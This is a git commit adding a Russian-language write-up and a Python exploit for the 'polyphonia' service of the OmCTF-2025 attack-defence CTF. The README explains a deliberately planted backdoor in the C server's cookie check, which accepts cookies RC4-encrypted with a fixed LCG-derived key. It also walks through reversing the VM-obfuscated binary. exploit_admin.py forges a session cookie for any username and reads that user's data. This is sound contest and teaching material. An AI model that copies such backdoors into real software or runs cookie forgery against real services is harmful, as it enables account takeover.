adding validated services? patching forcad_local.py
This commit is contained in:
177
OmCTF-2025/sploits/polyphonia/README.md
Normal file
177
OmCTF-2025/sploits/polyphonia/README.md
Normal file
@@ -0,0 +1,177 @@
|
||||
# writeup | polyphonia
|
||||
|
||||
Уязвимость здесь находится в функции `authenticate_cookie` (см. `sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c`):
|
||||
```c
|
||||
int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
|
||||
{
|
||||
if (!cookie_hex)
|
||||
return 0;
|
||||
|
||||
if (out_username && username_len > 0)
|
||||
out_username[0] = '\0';
|
||||
if (out_user_id)
|
||||
*out_user_id = -1;
|
||||
|
||||
char username_buf[64];
|
||||
int user_id = db_get_session_user(cookie_hex, username_buf);
|
||||
if (user_id > 0)
|
||||
{
|
||||
if (out_user_id)
|
||||
*out_user_id = user_id;
|
||||
if (out_username && username_len > 0)
|
||||
{
|
||||
strncpy(out_username, username_buf, username_len - 1);
|
||||
out_username[username_len - 1] = '\0';
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
unsigned char session_bytes[SESSION_ID_LEN];
|
||||
if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
|
||||
return 0;
|
||||
|
||||
unsigned char decrypted[SESSION_ID_LEN];
|
||||
unsigned char keybuf[22];
|
||||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||||
rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);
|
||||
|
||||
char username[65];
|
||||
size_t name_len = 0;
|
||||
while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
|
||||
{
|
||||
username[name_len] = (char)decrypted[name_len];
|
||||
name_len++;
|
||||
}
|
||||
username[name_len] = '\0';
|
||||
|
||||
if (name_len == 0)
|
||||
return 0;
|
||||
|
||||
user_id = db_get_user_by_username(username, username_buf);
|
||||
if (user_id <= 0)
|
||||
return 0;
|
||||
|
||||
if (out_user_id)
|
||||
*out_user_id = user_id;
|
||||
if (out_username && username_len > 0)
|
||||
{
|
||||
strncpy(out_username, username_buf, username_len - 1);
|
||||
out_username[username_len - 1] = '\0';
|
||||
}
|
||||
|
||||
return 2;
|
||||
}
|
||||
```
|
||||
Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через `db_get_session_user`, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем `username` (`db_get_user_by_username`).
|
||||
Ключ всегда одинаков:
|
||||
```c
|
||||
unsigned char keybuf[22];
|
||||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||||
```
|
||||
Соответственно можем сделать подходящую куку на любого юзера:
|
||||
```python
|
||||
def forge_cookie(username: str) -> str:
|
||||
encoded = username.encode("utf-8")
|
||||
if len(encoded) > SESSION_LEN:
|
||||
raise ValueError("username too long for forged session payload")
|
||||
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
||||
key = derive_rc4_key(22)
|
||||
ciphertext = rc4(key, padded)
|
||||
return ciphertext.hex()
|
||||
```
|
||||
|
||||
Собственно ключ создаётся с помощью LCG:
|
||||
```python
|
||||
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
||||
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
||||
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
||||
def derive_rc4_key(length: int = 22) -> bytes:
|
||||
state = 0
|
||||
out = bytearray()
|
||||
while len(out) < length:
|
||||
state = (214013 * state + 2531011) & 0x7fffffff
|
||||
r = (state >> 16) & 0xFFFF
|
||||
hi = (r >> 8) & 0xFF
|
||||
lo = r & 0xFF
|
||||
if len(out) < length:
|
||||
out.append(hi)
|
||||
if len(out) < length:
|
||||
out.append(lo)
|
||||
return bytes(out)
|
||||
```
|
||||
|
||||
```python
|
||||
>>> derive_rc4_key(22).hex()
|
||||
'00261e2752f6098522972e1520ad7e1d28d2779416dd'
|
||||
```
|
||||
|
||||
Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.
|
||||
|
||||
Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
|
||||
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: `sources/polyphonia/obfuscator_src`
|
||||
|
||||
Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: `services/polyphonia/dist/polyphonia-server-binary`. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.
|
||||
|
||||
Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции `vm_execute_internal` (`sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c`).
|
||||
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например `vm_decrypt_imm`, здесь расшифровываем value:
|
||||
```c
|
||||
case OP_PUSH_IMM: {
|
||||
int32_t cipher = (int32_t)vm_fetch32(&vm);
|
||||
int32_t value = vm_decrypt_imm(&vm, cipher);
|
||||
vm_push(&vm, (int64_t)value);
|
||||
#if VM_ENABLE_TRACE
|
||||
if (vm.debug)
|
||||
printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
В то же время в `vm_push`, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:
|
||||
```c
|
||||
static inline void vm_push(VMState *vm, int64_t plain)
|
||||
{
|
||||
vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
|
||||
}
|
||||
```
|
||||
|
||||
Перед dispatch-ем инструкция fetch-ится с помощью `vm_fetch8`, расшифровка - `ct ^ k`, `k` - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:
|
||||
```c
|
||||
static inline uint8_t vm_fetch8(VMState *vm)
|
||||
{
|
||||
uint8_t ct = vm->bytecode[vm->pc];
|
||||
if (!vm->code_encrypted)
|
||||
{
|
||||
vm->pc++;
|
||||
return ct;
|
||||
}
|
||||
if (vm->code_off != vm->pc)
|
||||
vm_code_stream_reset(vm, vm->pc);
|
||||
if (vm->code_bpos >= 8)
|
||||
{
|
||||
vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
|
||||
vm->code_bpos = 0;
|
||||
}
|
||||
uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
|
||||
vm->code_cur_ks >>= 8;
|
||||
vm->code_bpos++;
|
||||
vm->code_off++;
|
||||
vm->pc++;
|
||||
return (uint8_t)(ct ^ k);
|
||||
}
|
||||
```
|
||||
Меняется он при помощи xorshift64:
|
||||
```c
|
||||
// xorshift64* keystream for blob encryption/decryption (simple stream)
|
||||
static inline uint64_t vm_stream_next(uint64_t *s)
|
||||
{
|
||||
uint64_t x = *s;
|
||||
x ^= x >> 12;
|
||||
x ^= x << 25;
|
||||
x ^= x >> 27;
|
||||
*s = x;
|
||||
return x * 2685821657736338717ULL;
|
||||
}
|
||||
```
|
||||
|
||||
Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.
|
||||
131
OmCTF-2025/sploits/polyphonia/exploit_admin.py
Executable file
131
OmCTF-2025/sploits/polyphonia/exploit_admin.py
Executable file
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from urllib import error, request
|
||||
|
||||
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
||||
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
||||
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
||||
def derive_rc4_key(length: int = 22) -> bytes:
|
||||
state = 0
|
||||
out = bytearray()
|
||||
while len(out) < length:
|
||||
state = (214013 * state + 2531011) & 0x7fffffff
|
||||
r = (state >> 16) & 0xFFFF
|
||||
hi = (r >> 8) & 0xFF
|
||||
lo = r & 0xFF
|
||||
if len(out) < length:
|
||||
out.append(hi)
|
||||
if len(out) < length:
|
||||
out.append(lo)
|
||||
return bytes(out)
|
||||
SESSION_LEN = 64
|
||||
|
||||
|
||||
def rc4(key: bytes, data: bytes) -> bytes:
|
||||
s = list(range(256))
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xFF
|
||||
s[i], s[j] = s[j], s[i]
|
||||
i = 0
|
||||
j = 0
|
||||
out = bytearray(len(data))
|
||||
for idx, byte in enumerate(data):
|
||||
i = (i + 1) & 0xFF
|
||||
j = (j + s[i]) & 0xFF
|
||||
s[i], s[j] = s[j], s[i]
|
||||
k = s[(s[i] + s[j]) & 0xFF]
|
||||
out[idx] = byte ^ k
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def forge_cookie(username: str) -> str:
|
||||
encoded = username.encode("utf-8")
|
||||
if len(encoded) > SESSION_LEN:
|
||||
raise ValueError("username too long for forged session payload")
|
||||
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
||||
key = derive_rc4_key(22)
|
||||
ciphertext = rc4(key, padded)
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def query_user(base_url: str, cookie_value: str) -> None:
|
||||
url = base_url.rstrip("/") + "/api/user"
|
||||
req = request.Request(url)
|
||||
req.add_header("Cookie", f"session={cookie_value}")
|
||||
with request.urlopen(req) as resp:
|
||||
body = resp.read().decode("utf-8", errors="replace")
|
||||
print(f"[+] HTTP {resp.status}")
|
||||
print(body)
|
||||
|
||||
|
||||
def query_melodies(base_url: str, cookie_value: str) -> None:
|
||||
url = base_url.rstrip("/") + "/api/melodies"
|
||||
req = request.Request(url)
|
||||
req.add_header("Cookie", f"session={cookie_value}")
|
||||
with request.urlopen(req) as resp:
|
||||
raw = resp.read().decode("utf-8", errors="replace")
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except json.JSONDecodeError:
|
||||
print("[-] Failed to parse melodies JSON; raw response:")
|
||||
print(raw)
|
||||
return
|
||||
items = data.get("melodies")
|
||||
if not isinstance(items, list):
|
||||
print("[-] Unexpected melodies schema; raw response:")
|
||||
print(raw)
|
||||
return
|
||||
if not items:
|
||||
print("[+] No melodies found")
|
||||
return
|
||||
print("[+] Melodies:")
|
||||
for m in items:
|
||||
if not isinstance(m, dict):
|
||||
continue
|
||||
name = m.get("name")
|
||||
desc = m.get("description")
|
||||
if not isinstance(name, str):
|
||||
name = str(name)
|
||||
if not isinstance(desc, str):
|
||||
desc = ""
|
||||
print(f"- {name}: {desc}")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
|
||||
parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
|
||||
parser.add_argument("--username", default="admin123", help="Username to impersonate")
|
||||
parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
cookie_value = forge_cookie(args.username)
|
||||
except ValueError as exc:
|
||||
print(f"[-] {exc}")
|
||||
return 1
|
||||
|
||||
print(f"[+] Forged cookie for {args.username}: {cookie_value}")
|
||||
|
||||
if args.no_request:
|
||||
return 0
|
||||
|
||||
try:
|
||||
query_user(args.base_url, cookie_value)
|
||||
# Then dump melodies for this session
|
||||
query_melodies(args.base_url, cookie_value)
|
||||
except error.HTTPError as exc:
|
||||
body = exc.read().decode("utf-8", errors="replace")
|
||||
print(f"[-] Server returned HTTP {exc.code}: {body}")
|
||||
return 1
|
||||
except error.URLError as exc:
|
||||
print(f"[-] Failed to contact {args.base_url}: {exc}")
|
||||
return 1
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user